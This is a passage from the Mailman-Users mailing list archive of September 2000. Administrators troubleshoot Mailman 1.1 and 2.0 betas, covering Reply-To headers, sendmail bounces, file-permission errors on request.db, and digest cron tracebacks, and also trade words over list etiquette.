References: <39D25728.89D3B90D@west.sun.com>
 <a04320402b5f8f149cc74@[205.223.189.82]>
Message-ID: <p04330105b5f90a3c49cc@[209.239.169.197]>

At 9:06 AM -0400 9/28/00, Michael Lampman wrote:
>At 1:23 PM -0700 9/27/00, Dan Mick wrote:
>>"If you've just installed Mailman, and mail isn't being delivered,
>>do *not* post a question to mailman-users about it before you
>>check the cron job that runs qrunner to verify that it is running;
>>if it is, and you do post a message, be certain to say in the message
>>that you've verified it, and how."
>
>So I guess this list is only for experts.

Not until Barry says so. Dan uses the list. Barry runs it. Dan 
sometimes forgets that.

-- 
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Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From cjoneslists at gseis.ucla.edu  Thu Sep 28 17:53:45 2000
From: cjoneslists at gseis.ucla.edu (Chad Jones)
Date: Thu, 28 Sep 2000 08:53:45 -0700
Subject: [Mailman-Users] bad Reply-To in subscription confirmation
Message-ID: <B5F8B798.12ACA%cjoneslists@gseis.ucla.edu>

Below is the header of a subscription confirmation email, the kind you get
when you subscribe via email.  The reply is supposed to go to the -request
address but there's a Reply-To which directs the reply to the regular list
address, which triggers the "moderator approval."

Is there a way to fix this or can I just turn off the confirmation option?
I have about 100 new users who are going to try to subscribe today and it
would be nice if I could get this to work.  I'm using mailman 2.0b6.

Here is the header:

Return-Path: <advisors-admin at lists.centerx.gseis.ucla.edu>
Received: from norbert.gseis.ucla.edu (149.142.5.98) by tep.gseis.ucla.edu
with
 ESMTP (Eudora Internet Mail Server 2.2.2); Thu, 28 Sep 2000 08:34:52 -0700
Received: from norbert.gseis.ucla.edu (mailman at localhost [127.0.0.1])
    by norbert.gseis.ucla.edu (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP
id IAA00370
    for <xlists at tep.gseis.ucla.edu>; Thu, 28 Sep 2000 08:37:01 -0700
Date: Thu, 28 Sep 2000 08:37:01 -0700
Message-Id: <200009281537.IAA00370 at norbert.gseis.ucla.edu>
Subject: advisors -- confirmation of subscription -- request 661850
From: advisors-request at lists.centerx.gseis.ucla.edu
To: xlists at tep.gseis.ucla.edu
X-Ack: no
Sender: advisors-admin at lists.centerx.gseis.ucla.edu
Errors-To: advisors-admin at lists.centerx.gseis.ucla.edu
X-BeenThere: advisors at lists.centerx.gseis.ucla.edu
X-Mailman-Version: 2.0beta6
Precedence: bulk
Reply-To: advisors at lists.centerx.gseis.ucla.edu
List-Help: 
<mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=help>
List-Post: <mailto:advisors at lists.centerx.gseis.ucla.edu>
List-Subscribe: 
<http://lists.centerx.gseis.ucla.edu/mailman/listinfo/advisors>,
<mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=subscribe>
List-Id: <advisors.lists.centerx.gseis.ucla.edu>
List-Unsubscribe: 
<http://lists.centerx.gseis.ucla.edu/mailman/listinfo/advisors>,
<mailto:advisors-request at lists.centerx.gseis.ucla.edu?subject=unsubscribe>
List-Archive: http://lists.centerx.gseis.ucla.edu/pipermail/advisors/




From dojai at mail.ufv.br  Thu Sep 28 20:02:05 2000
From: dojai at mail.ufv.br (dojai at mail.ufv.br)
Date: Thu, 28 Sep 2000 15:02:05 -0300
Subject: [Mailman-Users] getting archived mail
Message-ID: <3.0.5.32.20000928150205.007dc5e0@mail.ufv.br>

is there any way I can tell mailman to send me again a mail that I have already received?

sometimes users delete mails they need again and thru the web interface attachments are unusable.

thanks



From pfaff at edge.cis.mcmaster.ca  Thu Sep 28 20:07:00 2000
From: pfaff at edge.cis.mcmaster.ca (Todd Pfaff)
Date: Thu, 28 Sep 2000 14:07:00 -0400 (EDT)
Subject: [Mailman-Users] unknown mailer error 1 failures
Message-ID: <Pine.SOL.4.21.0009281314080.11349-100000@edge.cis.mcmaster.ca>

We're using:

mailman-1.1
python-1.5.2
Solaris 2.6
sendmail-8.9.3

Sometime during mass subscriptions, we get bounces to postmaster about
'unknown mailer error 1' delivery failures, like that included below.

A few of questions about this...

Does anyone know for certain what is the cause of these 'unknown' failures
from sendmail?  Does it likely have to do with the smtp server refusing
connections due to the sudden load generated by a lot of messages during a
mass subscribe?  The only reason I suspect this is that I can only
correlate these errors to times when a mass subscribe is being done.

Is there any simple way to make these bounces go to mailman-owner rather
than to postmaster?

Is this something that has likely been fixed in mailman-2.0beta?

--
Todd Pfaff                         \  Email: pfaff at mcmaster.ca
Computing and Information Services  \ Voice: (905) 525-9140 x22920
ABB 132                              \  FAX: (905) 528-3773
McMaster University                   \
Hamilton, Ontario, Canada  L8S 4M1     \

---------- Forwarded message ----------

> Date: Wed, 27 Sep 2000 11:13:24 -0400 (EDT)
> From: Mail Delivery Subsystem <MAILER-DAEMON at somehost>
> To: postmaster at somehost
> Subject: Postmaster notify: unknown mailer error 1
>
> The original message was received at Wed, 27 Sep 2000 11:13:14 -0400 (EDT)
> from localhost
>
>    ----- The following addresses had permanent fatal errors -----
> "|/usr/local/mailman/mail/wrapper mailowner listname"
>     (expanded from: <listname-admin at somehost>)
>
>    ----- Transcript of session follows -----
> 554 "|/usr/local/mailman/mail/wrapper mailowner listname"... unknown mailer error 1
>
>    ----- Message header follows -----
>
> Return-Path: <MAILER-DAEMON>
> Received: from localhost (localhost)
>         by somehost  with internal id LAA06814;
>         Wed, 27 Sep 2000 11:13:14 -0400 (EDT)
> Date: Wed, 27 Sep 2000 11:13:14 -0400 (EDT)
> From: Mail Delivery Subsystem <MAILER-DAEMON>
> To: <listname-admin at somehost>
> Subject: Returned mail: User unknown
> Auto-Submitted: auto-generated (failure)
>
>    ----- Message body suppressed -----
>
>






From techgrrl at beeze.com  Thu Sep 28 20:50:12 2000
From: techgrrl at beeze.com (Sarah K. Miller)
Date: Thu, 28 Sep 2000 11:50:12 -0700
Subject: [Mailman-Users] NT Port?
Message-ID: <01a001c0297c$efb25820$1401a8c0@sarah>

Has anybody ported mailman to NT or does anyone know of a similar product
for NT?

--
     Sarah K. Miller   *   Monroe, WA   *   scba at beeze.com
                      http://www.beeze.com






From hedemark at bops.com  Thu Sep 28 20:53:04 2000
From: hedemark at bops.com (Chris Hedemark)
Date: Thu, 28 Sep 2000 14:53:04 -0400
Subject: [Mailman-Users] more 2.0beta6 problems
Message-ID: <3D71CCC526F1D311A72600902773EC21209C00@cascabella.rtp.bops.com>

The following problem was hit when I tried to do admin work on one of my
mailing lists.  This didn't happen until the upgrade from 2.0Beta2 to
2.0beta6.

Bug in Mailman version 2.0beta6




We're sorry, we hit a bug!


If you would like to help us identify the problem, please email a copy of
this page to the webmaster for this site with a description of what
happened. Thanks! 


Traceback:



Traceback (innermost last):

  File "/home/mailman/scripts/driver", line 96, in run_main

    main()

  File "/home/mailman/Mailman/Cgi/admindb.py", line 97, in main

    mlist.Save()

  File "/home/mailman/Mailman/MailList.py", line 845, in Save

    self.SaveRequestsDb()

  File "/home/mailman/Mailman/ListAdmin.py", line 93, in SaveRequestsDb

    self.__closedb()

  File "/home/mailman/Mailman/ListAdmin.py", line 80, in __closedb

    fp = open(self.__filename, 'w')

IOError: [Errno 13] Permission denied: '/home/mailman/lists/nbo/request.db'








  _____  


Python information:



Variable	 Value	
sys.version	 1.5.2 (#1, Feb 1 2000, 16:32:16) [GCC egcs-2.91.66
19990314/Linux (egcs- 	
sys.executable	 /usr/bin/python 	
sys.prefix	 /usr 	
sys.exec_prefix	 /usr 	
sys.path	 /usr 	
sys.platform	 linux-i386 	


  _____  


Environment variables:



Variable	 Value	
DOCUMENT_ROOT 	/home/httpd/cgi-bin 	
SERVER_ADDR 	207.59.44.131 	
HTTP_ACCEPT_ENCODING 	gzip, deflate 	
SERVER_PORT 	80 	
PATH_TRANSLATED 	/home/httpd/cgi-bin/nbo 	
REMOTE_ADDR 	207.59.44.251 	
HTTP_ACCEPT_LANGUAGE 	en-us 	
GATEWAY_INTERFACE 	CGI/1.1 	
SERVER_NAME 	lists.bops.com 	
HTTP_CONNECTION 	Keep-Alive 	
HTTP_USER_AGENT 	Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)

HTTP_ACCEPT 	application/vnd.ms-powerpoint, application/vnd.ms-excel,
application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*

REQUEST_URI 	/mailman/admindb/nbo 	
PATH 	/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin 	
QUERY_STRING 		
SCRIPT_FILENAME 	/home/mailman/cgi-bin/admindb 	
PATH_INFO 	/nbo 	
HTTP_HOST 	lists.bops.com 	
REQUEST_METHOD 	GET 	
SERVER_SIGNATURE 	
Apache/1.3.12 Server at lists.bops.com Port 80
SCRIPT_NAME 	/mailman/admindb 	
SERVER_ADMIN 	webmaster at bops.com 	
SERVER_SOFTWARE 	Apache/1.3.12 (Unix) (Red Hat/Linux) 	
PYTHONPATH 	/home/mailman 	
HTTP_COOKIE
nbo:admin=2802000000694493d3397328000000656535336461366530336433356165366161
65663961386162653836366131616262363664643239 	
SERVER_PROTOCOL 	HTTP/1.1 	
REMOTE_PORT 	15165 	
HTTP_REFERER 	http://lists.bops.com/mailman/admin/nbo 	


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From RYoung at eBuilt.com  Thu Sep 28 22:20:34 2000
From: RYoung at eBuilt.com (Young, Roger)
Date: Thu, 28 Sep 2000 13:20:34 -0700
Subject: [Mailman-Users] Auto respond
Message-ID: <AA1E32BC8A58D411A2CB0050DACEDA437508B0@raptor>

Can a mail List be setup to auto respond and have an attachment.

Roger Young
Unix Admin
eBuilt Inc.
(949) 609-5409




From Dan.Mick at west.sun.com  Thu Sep 28 22:22:29 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Thu, 28 Sep 2000 13:22:29 -0700
Subject: [Mailman-Users] Who admins this list?
References: <39D25728.89D3B90D@west.sun.com>
	 <a04320402b5f8f149cc74@[205.223.189.82]> <p04330105b5f90a3c49cc@[209.239.169.197]>
Message-ID: <39D3A885.4930E2B3@west.sun.com>


Chuq Von Rospach wrote:
> 
> At 9:06 AM -0400 9/28/00, Michael Lampman wrote:
> >At 1:23 PM -0700 9/27/00, Dan Mick wrote:
> >>"If you've just installed Mailman, and mail isn't being delivered,
> >>do *not* post a question to mailman-users about it before you
> >>check the cron job that runs qrunner to verify that it is running;
> >>if it is, and you do post a message, be certain to say in the message
> >>that you've verified it, and how."
> >
> >So I guess this list is only for experts.
> 
> Not until Barry says so. Dan uses the list. Barry runs it. Dan
> sometimes forgets that.

Well, I've been chastised now.

Of course I don't run the list.  Of course what I post is my opinion.
I would have thought that was obvious.

And, no, reading INSTALL does not an expert make, so expecting that of
list users is not the Horrible Sin that Mr. Lampman or Mr. von Rospach
would have me believe.

It turns out that "verifying that cron is running" is insufficiently
descriptive, I agree.  I apologize for "expecting" such a thing, since it
is quite difficult.  I'll try to expand on that.



From Dan.Mick at west.sun.com  Thu Sep 28 22:33:05 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Thu, 28 Sep 2000 13:33:05 -0700
Subject: [Mailman-Users] unknown mailer error 1 failures
References: <Pine.SOL.4.21.0009281314080.11349-100000@edge.cis.mcmaster.ca>
Message-ID: <39D3AB01.87B317F6@west.sun.com>

Do they literally say "listname"?  Is it possible that some alias has the
literal word "listname" in it instead of the real name of the list?

Todd Pfaff wrote:
> 
> We're using:
> 
> mailman-1.1
> python-1.5.2
> Solaris 2.6
> sendmail-8.9.3
> 
> Sometime during mass subscriptions, we get bounces to postmaster about
> 'unknown mailer error 1' delivery failures, like that included below.
> 
> A few of questions about this...
> 
> Does anyone know for certain what is the cause of these 'unknown' failures
> from sendmail?  Does it likely have to do with the smtp server refusing
> connections due to the sudden load generated by a lot of messages during a
> mass subscribe?  The only reason I suspect this is that I can only
> correlate these errors to times when a mass subscribe is being done.
> 
> Is there any simple way to make these bounces go to mailman-owner rather
> than to postmaster?
> 
> Is this something that has likely been fixed in mailman-2.0beta?
> 
> --
> Todd Pfaff                         \  Email: pfaff at mcmaster.ca
> Computing and Information Services  \ Voice: (905) 525-9140 x22920
> ABB 132                              \  FAX: (905) 528-3773
> McMaster University                   \
> Hamilton, Ontario, Canada  L8S 4M1     \
> 
> ---------- Forwarded message ----------
> 
> > Date: Wed, 27 Sep 2000 11:13:24 -0400 (EDT)
> > From: Mail Delivery Subsystem <MAILER-DAEMON at somehost>
> > To: postmaster at somehost
> > Subject: Postmaster notify: unknown mailer error 1
> >
> > The original message was received at Wed, 27 Sep 2000 11:13:14 -0400 (EDT)
> > from localhost
> >
> >    ----- The following addresses had permanent fatal errors -----
> > "|/usr/local/mailman/mail/wrapper mailowner listname"
> >     (expanded from: <listname-admin at somehost>)
> >
> >    ----- Transcript of session follows -----
> > 554 "|/usr/local/mailman/mail/wrapper mailowner listname"... unknown mailer error 1
> >
> >    ----- Message header follows -----
> >
> > Return-Path: <MAILER-DAEMON>
> > Received: from localhost (localhost)
> >         by somehost  with internal id LAA06814;
> >         Wed, 27 Sep 2000 11:13:14 -0400 (EDT)
> > Date: Wed, 27 Sep 2000 11:13:14 -0400 (EDT)
> > From: Mail Delivery Subsystem <MAILER-DAEMON>
> > To: <listname-admin at somehost>
> > Subject: Returned mail: User unknown
> > Auto-Submitted: auto-generated (failure)
> >
> >    ----- Message body suppressed -----
> >
> >
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users



From Dan.Mick at west.sun.com  Thu Sep 28 22:34:21 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Thu, 28 Sep 2000 13:34:21 -0700
Subject: [Mailman-Users] more 2.0beta6 problems
References: <3D71CCC526F1D311A72600902773EC21209C00@cascabella.rtp.bops.com>
Message-ID: <39D3AB4D.6E2BE7E6@west.sun.com>

Did you run check_perms after the upgrade?  Try it now..

If it seems to work, do ls -l on /home/mailman/lists/nbo/request.db

> Chris Hedemark wrote:
> 
> The following problem was hit when I tried to do admin work on one of my mailing lists.  This didn't happen until the
> upgrade from 2.0Beta2 to 2.0beta6.
> 
> Bug in Mailman version 2.0beta6
> 
> We're sorry, we hit a bug!
> 
> If you would like to help us identify the problem, please email a copy of this page to the webmaster for this site
> with a description of what happened. Thanks!
> 
> Traceback:
> 
> Traceback (innermost last):
>   File "/home/mailman/scripts/driver", line 96, in run_main
>     main()
>   File "/home/mailman/Mailman/Cgi/admindb.py", line 97, in main
>     mlist.Save()
>   File "/home/mailman/Mailman/MailList.py", line 845, in Save
>     self.SaveRequestsDb()
>   File "/home/mailman/Mailman/ListAdmin.py", line 93, in SaveRequestsDb
>     self.__closedb()
>   File "/home/mailman/Mailman/ListAdmin.py", line 80, in __closedb
>     fp = open(self.__filename, 'w')
> IOError: [Errno 13] Permission denied: '/home/mailman/lists/nbo/request.db'
> 
> ----------------------------------------------------------------------------------------------------------------------
> 
> Python information:
> 
>     Variable                                      Value
>  sys.version    1.5.2 (#1, Feb 1 2000, 16:32:16) [GCC egcs-2.91.66 19990314/Linux (egcs-
>  sys.executable /usr/bin/python
>  sys.prefix     /usr
>  sys.exec_prefix/usr
>  sys.path       /usr
>  sys.platform   linux-i386
> 
> ----------------------------------------------------------------------------------------------------------------------
> 
> Environment variables:
> 
>        Variable                                                                Value
>  DOCUMENT_ROOT       /home/httpd/cgi-bin
>  SERVER_ADDR         207.59.44.131
>  HTTP_ACCEPT_ENCODINGgzip, deflate
>  SERVER_PORT         80
>  PATH_TRANSLATED     /home/httpd/cgi-bin/nbo
>  REMOTE_ADDR         207.59.44.251
>  HTTP_ACCEPT_LANGUAGEen-us
>  GATEWAY_INTERFACE   CGI/1.1
>  SERVER_NAME         lists.bops.com
>  HTTP_CONNECTION     Keep-Alive
>  HTTP_USER_AGENT     Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)
> 
>  HTTP_ACCEPT         application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg,
>                      image/pjpeg, */*
>  REQUEST_URI         /mailman/admindb/nbo
>  PATH                /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
>  QUERY_STRING
>  SCRIPT_FILENAME     /home/mailman/cgi-bin/admindb
>  PATH_INFO           /nbo
>  HTTP_HOST           lists.bops.com
>  REQUEST_METHOD      GET
>  SERVER_SIGNATURE    Apache/1.3.12 Server at lists.bops.com Port 80
>  SCRIPT_NAME         /mailman/admindb
>  SERVER_ADMIN        webmaster at bops.com
>  SERVER_SOFTWARE     Apache/1.3.12 (Unix) (Red Hat/Linux)
>  PYTHONPATH          /home/mailman
>  HTTP_COOKIE         nbo:admin=2802000000694493d339732800000065653533646136653033643335616536616165663961386162653836366131616262363664643239
>  SERVER_PROTOCOL     HTTP/1.1
>  REMOTE_PORT         15165
>  HTTP_REFERER        http://lists.bops.com/mailman/admin/nbo



From hedemark at bops.com  Thu Sep 28 22:47:36 2000
From: hedemark at bops.com (Chris Hedemark)
Date: Thu, 28 Sep 2000 16:47:36 -0400
Subject: [Mailman-Users] more 2.0beta6 problems
Message-ID: <3D71CCC526F1D311A72600902773EC21209C0E@cascabella.rtp.bops.com>

Sure did.  Several times, in fact (with the "-f" flag until it came clean).
Check this out:

[root at gilligan nbo]# /home/mailman/bin/check_perms 
No problems found
[root at gilligan nbo]# pwd
/home/mailman/lists/nbo
[root at gilligan nbo]# ls -l
total 60
-rw-r--r--    1 mailman  mailman      1098 Sep 25 16:26 admindbpreamble.html
-rw-rw----    1 nobody   mailman      4683 Sep 28 14:51 config.db
-rw-rw----    1 nobody   mailman      4683 Sep 28 14:51 config.db.last
-rw-r--r--    1 mailman  mailman       189 Sep 25 16:26 handle_opts.html
-rw-r--r--    1 mailman  mailman      3136 Sep 25 16:26 listinfo.html
-rw-rw-r--    1 mailman  mailman      4121 Sep 28 14:07 next-digest
-rw-rw-r--    1 mailman  mailman       105 Sep 28 14:07 next-digest-topics
-rw-r--r--    1 mailman  mailman      4106 Sep 25 16:26 options.html
-rw-r--r--    1 mailman  mailman       675 Sep 27 17:00 request.db
-rw-r--r--    1 mailman  mailman      1169 Sep 25 16:26 roster.html
-rw-r--r--    1 mailman  mailman       185 Sep 25 16:26 subscribe.html
[root at gilligan nbo]# 


-----Original Message-----
From: Dan Mick [mailto:Dan.Mick at west.sun.com]
Sent: Thursday, September 28, 2000 4:34 PM
To: Chris Hedemark; mailman-users at python.org
Subject: Re: [Mailman-Users] more 2.0beta6 problems


Did you run check_perms after the upgrade?  Try it now..

If it seems to work, do ls -l on /home/mailman/lists/nbo/request.db

> Chris Hedemark wrote:
> 
> The following problem was hit when I tried to do admin work on one of my
mailing lists.  This didn't happen until the
> upgrade from 2.0Beta2 to 2.0beta6.
> 
> Bug in Mailman version 2.0beta6
> 
> We're sorry, we hit a bug!
> 
> If you would like to help us identify the problem, please email a copy of
this page to the webmaster for this site
> with a description of what happened. Thanks!
> 
> Traceback:
> 
> Traceback (innermost last):
>   File "/home/mailman/scripts/driver", line 96, in run_main
>     main()
>   File "/home/mailman/Mailman/Cgi/admindb.py", line 97, in main
>     mlist.Save()
>   File "/home/mailman/Mailman/MailList.py", line 845, in Save
>     self.SaveRequestsDb()
>   File "/home/mailman/Mailman/ListAdmin.py", line 93, in SaveRequestsDb
>     self.__closedb()
>   File "/home/mailman/Mailman/ListAdmin.py", line 80, in __closedb
>     fp = open(self.__filename, 'w')
> IOError: [Errno 13] Permission denied:
'/home/mailman/lists/nbo/request.db'
> 
>
----------------------------------------------------------------------------
------------------------------------------
> 
> Python information:
> 
>     Variable                                      Value
>  sys.version    1.5.2 (#1, Feb 1 2000, 16:32:16) [GCC egcs-2.91.66
19990314/Linux (egcs-
>  sys.executable /usr/bin/python
>  sys.prefix     /usr
>  sys.exec_prefix/usr
>  sys.path       /usr
>  sys.platform   linux-i386
> 
>
----------------------------------------------------------------------------
------------------------------------------
> 
> Environment variables:
> 
>        Variable
Value
>  DOCUMENT_ROOT       /home/httpd/cgi-bin
>  SERVER_ADDR         207.59.44.131
>  HTTP_ACCEPT_ENCODINGgzip, deflate
>  SERVER_PORT         80
>  PATH_TRANSLATED     /home/httpd/cgi-bin/nbo
>  REMOTE_ADDR         207.59.44.251
>  HTTP_ACCEPT_LANGUAGEen-us
>  GATEWAY_INTERFACE   CGI/1.1
>  SERVER_NAME         lists.bops.com
>  HTTP_CONNECTION     Keep-Alive
>  HTTP_USER_AGENT     Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)
> 
>  HTTP_ACCEPT         application/vnd.ms-powerpoint,
application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap,
image/jpeg,
>                      image/pjpeg, */*
>  REQUEST_URI         /mailman/admindb/nbo
>  PATH                /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
>  QUERY_STRING
>  SCRIPT_FILENAME     /home/mailman/cgi-bin/admindb
>  PATH_INFO           /nbo
>  HTTP_HOST           lists.bops.com
>  REQUEST_METHOD      GET
>  SERVER_SIGNATURE    Apache/1.3.12 Server at lists.bops.com Port 80
>  SCRIPT_NAME         /mailman/admindb
>  SERVER_ADMIN        webmaster at bops.com
>  SERVER_SOFTWARE     Apache/1.3.12 (Unix) (Red Hat/Linux)
>  PYTHONPATH          /home/mailman
>  HTTP_COOKIE
nbo:admin=2802000000694493d3397328000000656535336461366530336433356165366161
65663961386162653836366131616262363664643239
>  SERVER_PROTOCOL     HTTP/1.1
>  REMOTE_PORT         15165
>  HTTP_REFERER        http://lists.bops.com/mailman/admin/nbo

------------------------------------------------------
Mailman-Users maillist  -  Mailman-Users at python.org
http://www.python.org/mailman/listinfo/mailman-users



From Dan.Mick at west.sun.com  Thu Sep 28 23:03:23 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Thu, 28 Sep 2000 14:03:23 -0700
Subject: [Mailman-Users] more 2.0beta6 problems
References: <3D71CCC526F1D311A72600902773EC21209C0E@cascabella.rtp.bops.com>
Message-ID: <39D3B21B.6DCF9E31@west.sun.com>

So my *guess* is that request.db, set to rw-r--r--, can't be written by the
admin script, because the admin script is not running as "mailman",
nor as group "mailman", most-likely, because it's running from your
Web server as a CGI script.

My request.db is rw-rw-r--, and "nobody/mailman" for owner/group.
I don't know how it got that way, but it seems to work that way.
I'll bet if you change it, it works for you too ('nobody' is who the CGI
user is on my system).

I'll see if I can't find out how that file gets created for a new list.

Chris Hedemark wrote:
> 
> Sure did.  Several times, in fact (with the "-f" flag until it came clean).

Sorry for implying that you didn't, but you didn't say so, so I had no way to 
know that you had.

> Check this out:
> 
> [root at gilligan nbo]# /home/mailman/bin/check_perms
> No problems found
> [root at gilligan nbo]# pwd
> /home/mailman/lists/nbo
> [root at gilligan nbo]# ls -l
> total 60
> -rw-r--r--    1 mailman  mailman      1098 Sep 25 16:26 admindbpreamble.html
> -rw-rw----    1 nobody   mailman      4683 Sep 28 14:51 config.db
> -rw-rw----    1 nobody   mailman      4683 Sep 28 14:51 config.db.last
> -rw-r--r--    1 mailman  mailman       189 Sep 25 16:26 handle_opts.html
> -rw-r--r--    1 mailman  mailman      3136 Sep 25 16:26 listinfo.html
> -rw-rw-r--    1 mailman  mailman      4121 Sep 28 14:07 next-digest
> -rw-rw-r--    1 mailman  mailman       105 Sep 28 14:07 next-digest-topics
> -rw-r--r--    1 mailman  mailman      4106 Sep 25 16:26 options.html
> -rw-r--r--    1 mailman  mailman       675 Sep 27 17:00 request.db
> -rw-r--r--    1 mailman  mailman      1169 Sep 25 16:26 roster.html
> -rw-r--r--    1 mailman  mailman       185 Sep 25 16:26 subscribe.html
> [root at gilligan nbo]#
> 
> -----Original Message-----
> From: Dan Mick [mailto:Dan.Mick at west.sun.com]
> Sent: Thursday, September 28, 2000 4:34 PM
> To: Chris Hedemark; mailman-users at python.org
> Subject: Re: [Mailman-Users] more 2.0beta6 problems
> 
> Did you run check_perms after the upgrade?  Try it now..
> 
> If it seems to work, do ls -l on /home/mailman/lists/nbo/request.db
> 
> > Chris Hedemark wrote:
> >
> > The following problem was hit when I tried to do admin work on one of my
> mailing lists.  This didn't happen until the
> > upgrade from 2.0Beta2 to 2.0beta6.
> >
> > Bug in Mailman version 2.0beta6
> >
> > We're sorry, we hit a bug!
> >
> > If you would like to help us identify the problem, please email a copy of
> this page to the webmaster for this site
> > with a description of what happened. Thanks!
> >
> > Traceback:
> >
> > Traceback (innermost last):
> >   File "/home/mailman/scripts/driver", line 96, in run_main
> >     main()
> >   File "/home/mailman/Mailman/Cgi/admindb.py", line 97, in main
> >     mlist.Save()
> >   File "/home/mailman/Mailman/MailList.py", line 845, in Save
> >     self.SaveRequestsDb()
> >   File "/home/mailman/Mailman/ListAdmin.py", line 93, in SaveRequestsDb
> >     self.__closedb()
> >   File "/home/mailman/Mailman/ListAdmin.py", line 80, in __closedb
> >     fp = open(self.__filename, 'w')
> > IOError: [Errno 13] Permission denied:
> '/home/mailman/lists/nbo/request.db'
> >
> >
> ----------------------------------------------------------------------------
> ------------------------------------------
> >
> > Python information:
> >
> >     Variable                                      Value
> >  sys.version    1.5.2 (#1, Feb 1 2000, 16:32:16) [GCC egcs-2.91.66
> 19990314/Linux (egcs-
> >  sys.executable /usr/bin/python
> >  sys.prefix     /usr
> >  sys.exec_prefix/usr
> >  sys.path       /usr
> >  sys.platform   linux-i386
> >
> >
> ----------------------------------------------------------------------------
> ------------------------------------------
> >
> > Environment variables:
> >
> >        Variable
> Value
> >  DOCUMENT_ROOT       /home/httpd/cgi-bin
> >  SERVER_ADDR         207.59.44.131
> >  HTTP_ACCEPT_ENCODINGgzip, deflate
> >  SERVER_PORT         80
> >  PATH_TRANSLATED     /home/httpd/cgi-bin/nbo
> >  REMOTE_ADDR         207.59.44.251
> >  HTTP_ACCEPT_LANGUAGEen-us
> >  GATEWAY_INTERFACE   CGI/1.1
> >  SERVER_NAME         lists.bops.com
> >  HTTP_CONNECTION     Keep-Alive
> >  HTTP_USER_AGENT     Mozilla/4.0 (compatible; MSIE 5.01; Windows NT)
> >
> >  HTTP_ACCEPT         application/vnd.ms-powerpoint,
> application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap,
> image/jpeg,
> >                      image/pjpeg, */*
> >  REQUEST_URI         /mailman/admindb/nbo
> >  PATH                /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
> >  QUERY_STRING
> >  SCRIPT_FILENAME     /home/mailman/cgi-bin/admindb
> >  PATH_INFO           /nbo
> >  HTTP_HOST           lists.bops.com
> >  REQUEST_METHOD      GET
> >  SERVER_SIGNATURE    Apache/1.3.12 Server at lists.bops.com Port 80
> >  SCRIPT_NAME         /mailman/admindb
> >  SERVER_ADMIN        webmaster at bops.com
> >  SERVER_SOFTWARE     Apache/1.3.12 (Unix) (Red Hat/Linux)
> >  PYTHONPATH          /home/mailman
> >  HTTP_COOKIE
> nbo:admin=2802000000694493d3397328000000656535336461366530336433356165366161
> 65663961386162653836366131616262363664643239
> >  SERVER_PROTOCOL     HTTP/1.1
> >  REMOTE_PORT         15165
> >  HTTP_REFERER        http://lists.bops.com/mailman/admin/nbo
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users



From matt at mattd.org  Thu Sep 28 23:23:59 2000
From: matt at mattd.org (Matt Dickinson)
Date: Thu, 28 Sep 2000 22:23:59 +0100
Subject: [Mailman-Users] help required
Message-ID: <008601c02992$6b01ad90$0100a8a8@mattpc>

Hi

I posted earlier about a problem i wasn't getting to grips with, i'm running
redhat 6.2, postfix, and 2.0beta5, or rather i'm trying to run it.

i've got it installed, with what i believe to be the correct GID/UID
options, or so i think....

when i try and mail the list "test" from pine, this is what happens.

Sep 27 23:52:16 bulldog postfix/local[20333]: B15AD13AEC2:
to=<test at pdcompsys.com>, relay=local,
delay=1, status=sent ("|/home/mailman/mail/wrapper post test")

that's it, nothing else gets done.

However, if i su to mailman, and using the command line do something like

echo "foo" | /home/mailman/mail/wrapper post test

then it does "work" in the way that mailman sends mails.

But... it misforms the domain it sends to

for example

Sep 28 22:21:02 bulldog postfix/qmgr[32604]: 34FD913AEC2:
to=<test-admin at .pdcompsys.com>, relay=none, delay=0, status=bounced (bad
host/domain syntax: ".pdcompsys.com")

is what it does, it for some reason put a "." in front of the domain name,
i've been thru the aliases file, and i don't know why...

Anyone got any ideas at all? i'm rather stuck, coz it doesn't wanna work if
postfix mails things, only doing it manually, and it also mangels the domain
name

Thanks

Matt

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From mar at Ag.Arizona.Edu  Thu Sep 28 23:33:29 2000
From: mar at Ag.Arizona.Edu (Michael Rose)
Date: Thu, 28 Sep 2000 14:33:29 -0700
Subject: [Mailman-Users] Digest Problems
Message-ID: <4.3.0.20000928142828.00aff810@ag.arizona.edu>

Hello to all,

	I seem to be having some problems with my digests using Mailman version 
2.0beta5.  We are recieving the following two cron messages each day and I 
for one am stumped:

Your "cron" job on AG
/opt/bin/python -S /usr/local/mail/mailman/cron/senddigests

produced the following output:

Traceback (innermost last):
File "/usr/local/mail/mailman/cron/senddigests", line 65, in ?
main()
File "/usr/local/mail/mailman/cron/senddigests", line 42, in main
send_list_digest(mlist)
File "/usr/local/mail/mailman/cron/senddigests", line 59, in send_list_digest
mlist.Save()
File "/usr/local/mail/mailman/Mailman/MailList.py", line 850, in Save
self.CheckHTMLArchiveDir()
File "/usr/local/mail/mailman/Mailman/Archiver/Archiver.py", line 264, in 
CheckHTMLArchiveDir
makelink(privdir, pubdir)
File "/usr/local/mail/mailman/Mailman/Archiver/Archiver.py", line 42, in 
makelink
os.symlink(old, new)
OSError: [Errno 2] No such file or directory

__________________________________________________________________________________________________________________

Your "cron" job on AG
